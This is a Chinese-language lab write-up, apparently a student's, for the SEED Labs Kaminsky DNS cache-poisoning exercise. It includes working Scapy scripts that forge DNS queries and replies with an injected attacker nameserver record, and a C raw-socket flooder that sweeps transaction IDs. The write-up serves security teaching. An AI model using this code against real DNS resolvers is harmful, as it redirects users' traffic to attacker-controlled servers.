说在前面
本实验属为Seed-Labs 的DNS LAB 中的第二个实验,是第一个实验的延伸,从攻击者和受害者同一个LAN中变成不在同一个LAN中,该系列一共有五个实验:
- Local DNS Attack Lab
- The Kaminsky Attack Lab
- DNS Rebinding Attack Lab
- DNS Infrastructure Lab
- DNSSEC Lab
本实验的相关文件参见官网 Local DNS Attack Lab
本实验建议在官方提供的虚拟机环境中进行,可以参考 SEED-labs-ubuntu 20.04 虚拟机环境搭建
The Kaminsky Attack
关于 Kaminsky: https://en.wikipedia.org/wiki/Dan_Kaminsky
Kaminsky Attack(卡明斯基攻击)是一种针对DNS(Domain Name System)服务器的缓存中毒攻击(DNS Cache Poisoning)。这种攻击于2008年由安全研究员丹·卡明斯基(Dan Kaminsky)发现,并且具有高效性和隐蔽性,影响范围广泛。
DNS缓存的工作原理: DNS服务器通过递归查询的方式解析域名。为了提高效率,DNS服务器会缓存查询结果并将其提供给其他请求者。例如,当一个用户请求解析 example.com
时,DNS服务器会将解析结果缓存一段时间。
DNS缓存中毒的目标: 攻击者通过伪造的DNS响应,向目标DNS服务器注入恶意的解析记录。如果成功,用户请求合法域名(如 example.com
)时,DNS服务器会提供错误的记录(如将 example.com
指向攻击者的IP地址)。
关键要素: DNS请求包含了一个16位的事务ID(Transaction ID, TXID),用于匹配请求和响应。缓存中毒需要满足以下条件:
- 响应必须在合法的DNS服务器答复之前到达。
- 响应的事务ID必须与请求匹配。
- 域名查询必须正确(例如 example.com 的问题部分匹配)。
传统缓存中毒攻击的问题: 由于事务ID仅有16位,可能的值只有65,536种。在传统攻击中,攻击者需要猜测事务ID并伪造响应。如果事务ID不匹配,则响应会被丢弃。
Kaminsky攻击: 卡明斯基发现了一种高效的方式,通过利用DNS的递归查询特性,使缓存中毒攻击变得更容易。Kaminsky 攻击过程:
-
触发DNS递归查询: 攻击者向受害DNS服务器发送一个针对不存在子域的请求,例如
random1234.example.com
。因为该子域不存在,目标DNS服务器会向权威DNS服务器查询。 -
伪造响应: 攻击者伪造来自权威DNS服务器的响应,尝试注入错误的A记录(IPv4地址)。
例如,将example.com
的A记录替换为攻击者的IP地址。 -
重复尝试: 攻击者通过快速发送大量伪造响应来覆盖所有可能的事务ID值。如果事务ID匹配且响应先到达,则恶意数据被缓存。
本实验将 Kaminsky 攻击过程进行拆分,Task1 进行实验环境配置,Task2 实现伪造DNS请求,Task3 实现伪造DNS响应,Task4 实现完整的Kaminsky攻击,Task5 对攻击效果进行验证。
Attack Lab
Task1:Lab Environment Setup
本实验的相关文件参见官网 The Kaminsky Attack Lab
本实验建议在官方提供的虚拟机环境中进行,可以参考 SEED-labs-ubuntu 20.04 虚拟机环境搭建
本实验需要四台独立的机器:一台用于受害者,一台用于 DNS 服务器,两台用于攻击者,如下图所示。Lab为了简化设置将四台机器放在了同一个LAN上,但是我们要忽略这一点,需将Attacker是做远程机器,即Attacker无法在LAN上嗅探数据包。
Container Setup
1.进入 Labsetup
文件夹,分别输入 dcbuild
,dcup
启动实验所需的所有容器。
2.可以输入 dockps
查看所有的容器。
Testing the DNS Setup
Get the IP address of ns.attacker32.com. 在 user 容器中输入 dig ns.attacker32.com
查看查询结果。
Get the IP address of www.example.com.
1.在 user 容器中输入 dig www.example.com
查看查询结果。
2.在 user 容器中输入 dig @ns.attacer32.com www.example,com
,查看查询结果。
Task 2: Construct DNS request
任务: 伪造DNS请求给Local DNS Server,使其向 example.com
发送DNS查询。
1.撰写伪造发送程序 task2.py 。
#!/usr/bin/python3
from scapy.all import *
Qdsec = DNSQR(qname='austin.example.com') # 请求域名写 xxxx.example.com, xxx随意替换
dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
ip = IP(src='1.2.3.4',dst='10.9.0.53') # 原地址随便写,目的地址10.9.0.53
udp = UDP(sport=12345, dport=53,chksum=0) # 原端口随便写,目的端口53
request = ip/udp/dns
send(request)
2.使用wireshark监听 Local DNS Server。运行 task2.py
,发现 Local DNS Server接受到伪造的DNS 请求后,向外发送DNS请求。证明伪造成功。
Task 3: Spoof DNS Replies.
任务: 伪造DNS响应数据包,并发送到 Local DNS Server 上。
1.从Task2 的 wireshark 抓包结果,我们可以得到 example.com
服务器的IP地址为 199.43.135.53
。
2.编写 task3.py
#!/usr/bin/python3
from scapy.all import *
name= "austin.example.com"
domain = "example.com"
ns= "ns.attacker32.com"
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns= DNS(id=0xAAAA, aa=1, rd=1, qr=1,qdcount=1, ancount=1, nscount=1, arcount=0,qd=Qdsec, an=Anssec, ns=NSsec)
ip= IP(dst='10.9.0.53', src='199.43.135.53') # src = 'example.com' DNS server‘s IP
udp= UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns
send(reply)
3.使用 wireshark 监听 Local DNS Server。运行 task3.py
,发现 Local DNS Server接受到伪造的DNS 响应。
Task 4: Launch the Kaminsky Attack.
任务: 实现完整的 Kaminsky Attack。
分析: 我们如果使用 .py
文件来实现伪造并发送大量的响应包,可能会因为 .py
文件较低的运行速度而无法在真实的.example.com
的DNS服务器响应返回之前将大量的伪造响应发送至 Local DNS Server上。所以此处我们编写 .c
文件,利用 .c
文件高效的运行速度来实现伪造数据包的发送功能。同时,考虑到使用C语言创建伪造 DNS 数据包的步骤较繁琐,所以我们使用 .py
文件来简化数据包的创建过程。所以最终的 Kaminsky Attack 的实现方案为 .py
+ .c
:
gen_dns_request.py
- 伪造 DNS 请求包gen_dns_response.py
- 伪造 DNS 响应包attack.c
- 修改.py
伪造的DNS 数据包,并实现数据包的发送。
1.编写 gen_dns_request.py
#!/bin/env python3
from scapy.all import *
srcIP = '10.0.0.5'
dstIP = '10.9.0.53' # Local DNS Server
ip = IP (dst=dstIP, src=srcIP)
udp = UDP(dport=53, sport=50945, chksum=0)
# The C code will modify the qname field
Qdsec = DNSQR(qname='austi.example.com')
dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
pkt = ip/udp/dns
with open('ip_req.bin', 'wb') as f:
f.write(bytes(pkt))
2.编写 gen_dns_response.py
#!/bin/env python3
from scapy.all import *
# The source IP can be any address, because it will be replaced
# by the C code with the IP address of example.com's actual nameserver.
ip = IP (dst = '10.9.0.53', src = '199.43.133.53')
udp = UDP(dport = 33333, sport = 53, chksum=0)
# Construct the Question section
# The C code will modify the qname field
Qdsec = DNSQR(qname = "austi.example.com")
# Construct the Answer section (the answer can be anything)
# The C code will modify the rrname field
Anssec = DNSRR(rrname = "austi.example.com",
type = 'A',
rdata = '1.2.3.4',
ttl = 259200)
# Construct the Authority section (the main goal of the attack)
NSsec = DNSRR(rrname = 'example.com',
type = 'NS',
rdata = 'ns.attacker32.com',
ttl = 259200)
# Construct the DNS part
# The C code will modify the id field
dns = DNS(id = 0xAAAA, aa=1, rd=1, qr=1,
qdcount = 1, qd = Qdsec,
ancount = 1, an = Anssec,
nscount = 1, ns = NSsec)
# Construct the IP packet and save it to a file.
Replypkt = ip/udp/dns
with open('ip_resp.bin', 'wb') as f:
f.write(bytes(Replypkt))
3.编写 attack.c
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#define MAX_FILE_SIZE 1000000
#define QNAME_OFFSET 41
#define ANS_NAME_OFFSET 64
#define TRANS_ID_OFFSET 28
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
void send_dns_request(unsigned char *pkt, int pktsize, char* name);
void send_dns_response(unsigned char* pkt, int pktsize, char* name, unsigned short id);
void send_raw_packet(char * buffer, int pkt_size);
int main()
{
srand(time(NULL));
// Load the DNS request packet from file
FILE * f_req = fopen("ip_req.bin", "rb");
if (!f_req) {
perror("Can't open 'ip_req.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
// Load the first DNS response packet from file
FILE * f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp) {
perror("Can't open 'ip_resp.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
char a[26]="abcdefghijklmnopqrstuvwxyz";
unsigned short trans_id = 0;
while (1) {
// Generate a random name with length 5
char name[6];
name[5]='\0'; // Null-terminate the string
for (int k=0; k<5; k++)
name[k] = a[rand() % 26];
printf("Sending DNS request for name: %s\n", name); // Print the name
/* Step 1. Send a DNS request to the targeted local DNS server.
This will trigger the DNS server to send out DNS queries */
send_dns_request(ip_req, n_req, name);
/* Step 2. Send many spoofed responses to the targeted local DNS server,
each one with a different transaction ID. */
for (int i = 0; i< 500; i++){
send_dns_response(ip_resp, n_resp, name, trans_id);
trans_id++;
}
}
}
void send_dns_request(unsigned char *pkt, int pktsize, char* name)
{
// Use for sending DNS request.
// Step 1: replace qname with name, at offset 41
memcpy(pkt+QNAME_OFFSET, name, 5);
// Step 2: send the dns query out
send_raw_packet(pkt, pktsize);
}
void send_dns_response(unsigned char* pkt, int pktsize, char* name, unsigned short id)
{
//Use for sending forged DNS response.
// the C code will modify src, qname, rrname and the id field
// Step 1: Modify the name in the question field (offset=41)
memcpy(pkt+QNAME_OFFSET, name, 5);
// Step 2: Modify the name in the answer field (offset=64)
memcpy(pkt+ANS_NAME_OFFSET, name, 5);
// Step 3: Modify the transaction ID field (offset=28)
unsigned short net_id = htons(id); // htons converts to network byte order
memcpy(pkt+TRANS_ID_OFFSET, &net_id, 2);
//Step 4: send the dns response out
send_raw_packet((char*)pkt, pktsize);
}
/* Send the raw packet out
* buffer: to contain the entire IP packet, with everything filled out.
* pkt_size: the size of the buffer.
* */
void send_raw_packet(char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
struct ipheader *ip = (struct ipheader *) buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
4.在 Attacker 上先后运行 gen_dns_request.py
,gen_dns_response.py
,attack.c
( .c
文件需在虚拟机上编译后再进入 Attacker运行)。运行后,进入 Local DNS Server 容器使用下面的命令查看本地缓存。发现本地缓存已成功存入 ns.attacker32.com
。说明攻击成功。
# rndc dump -cache && grep attacker /var/cache/bind/dump/db
Task 5: Result Verification
任务: 测试 Task4 的攻击成功与否:输入 dig www.example.com
后的结果应该与 dig @ns.attacker32.com www.example.com
的结果相同。
1.输入 dig www.example.com
。
2.输入 dig @ns.attacker32.com www.example.com
,发现二者结果相同,证明我们的攻击成功。